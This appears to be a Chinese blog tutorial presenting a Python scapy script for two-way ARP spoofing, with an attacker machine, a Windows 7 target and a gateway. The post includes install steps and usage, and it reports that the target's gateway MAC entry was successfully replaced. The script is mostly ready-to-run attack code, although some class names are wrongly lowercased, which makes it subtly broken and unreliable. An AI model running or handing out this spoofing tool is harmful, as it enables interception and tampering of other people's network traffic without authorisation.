有一段python的编码程序如下图_编写Python脚本进行ARP

1.系统环境:ubuntu 16.04

python版本:2.7

2.攻击机器:ubuntu(192.16.0.14)

目标机器:windows 7(192.168.0.9)

网关:(192.168.0.1)

3.首先使用下面命令安装scapy模块

pip install scapy

4.关于arp欺骗的原理以及arp包的格式请自行百度,在此不作过多描述

from scapy.all import *

import argparse

import sys

def arp_attack(interface,tip,gip):

local_mac=get_if_hwaddr(interface) #get_if_hwaddr是获取指定网卡的mac地址

tmac=getmacbyip(tip) #getmacbyip是获取指定ip的mac地址

gmac=getmacbyip(gip)

tpacket=ether(src=local_mac,dst=tmac)/arp(hwsrc=local_mac,psrc=gip,hwdst=tmac,pdst=tip,op=2) #在arp包前面加上以太网头部,src是源mac,dst是目标mac,arp中的参数与arp包格式有关,请自行百度

gpacket=ether(src=local_mac,dst=gmac)/arp(hwsrc=local_mac,psrc=tip,hwdst=gmac,pdst=gip,op=2)

while 1:

sendp(tpacket,iface=interface,inter=1) #sendp是在第二层发送数据包,inter参数代表每间隔inter指定的秒数发送一次数据包

print("sending: %s(mac:%s) -> %s"%(gip,local_mac,tip))

sendp(gpacket,iface=interface,inter=1)

print("sending: %s(mac:%s) -> %s"%(tip,local_mac,gip))

if __name__ == '__main__':

parser=argparse.argumentparser()

parser.add_argument('-i',help='select interface')

parser.add_argument('-t',help='target ip')

parser.add_argument('-g',help='gateway ip')

args=parser.parse_args()

if args.i and args.t and args.g:

print("use ctrl+z to stop")

arp_attack(args.i,args.t,args.g)

else:

print("please enter the correct parameters")

关于下面这一块的代码一开始我是写成图中所示的(当时只截了图,没有复制代码,抱歉):

while 1:

sendp(tpacket,iface=interface,inter=1) #sendp是在第二层发送数据包,inter参数代表每间隔inter指定的秒数发送一次数据包

print("sending: %s(mac:%s) -> %s"%(gip,local_mac,tip))

sendp(gpacket,iface=interface,inter=1)

print("sending: %s(mac:%s) -> %s"%(tip,local_mac,gip))

loop参数代表循环发送数据包,但是脚本会一直停止在第一个数据包的发送处,不会发送第二个数据包,达不到双向欺骗的目的,所以作了修改。

说明:脚本要在root权限下运行,如果是普通用户权限,你会发现你的getmacbyip只能获取本地的mac,而不能获取网关与目标主机的mac,它会出现如下错误信息:

5.最后的结果如下图所示:

你可以看到目标主机中的网关的mac地址已经是我的ubuntu主机的mac地址了。

6. 参考网址(转载自他人文章)

如您对本文有疑问或者有任何想说的,请点击进行留言回复,万千网友为您解惑!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值